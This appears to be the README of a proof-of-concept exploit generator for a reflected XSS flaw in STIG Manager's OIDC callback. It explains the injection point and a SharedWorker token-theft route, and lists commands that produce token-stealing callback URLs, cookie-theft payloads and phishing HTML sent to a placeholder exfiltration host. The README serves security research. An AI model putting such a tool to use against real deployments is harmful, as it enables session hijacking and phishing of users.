hunt-benito/cve-2026-41200-stig-manager-oidc-reflected-xssProof-of-concept exploit generator for reflected XSS in STIG Manager OIDC authentication, enabling session token theft via crafted callback URLs and phishing HTML output.
Conceptual Proof of Concept for the reflected Cross-Site Scripting (XSS) vulnerability in STIG Manager versions 1.5.10 through 1.6.7.
A reflected XSS vulnerability exists in the STIG Manager Web App OIDC authentication error handling code. The error and error_description query parameters returned by the OIDC provider are written directly to the DOM via innerHTML without HTML escaping. An attacker who can craft a malicious URL and convince a user to follow it can execute arbitrary JavaScript in the application context.
The vulnerability is most severe when the targeted user has an active STIG Manager session in another browser tab — injected code can communicate with the SharedWorker managing the access token, enabling authenticated API requests on behalf of the victim.
# Generate a malicious callback URL (SharedWorker token theft mode)
python3 cve-2026-41200-poc.py -c http://localhost:54000/auth/callback -m sharedworker
# Generate a simple cookie theft payload
python3 cve-2026-41200-poc.py -c http://localhost:54000/auth/callback -m simple
# Output as phishing HTML
python3 cve-2026-41200-poc.py --format html
# Custom API and exfil hosts
python3 cve-2026-41200-poc.py \
-c https://stig-manager.example.com/auth/callback \
-a https://stig-manager.example.com \
-e https://attacker.example.com
This tool is provided for educational purposes and authorised security research only.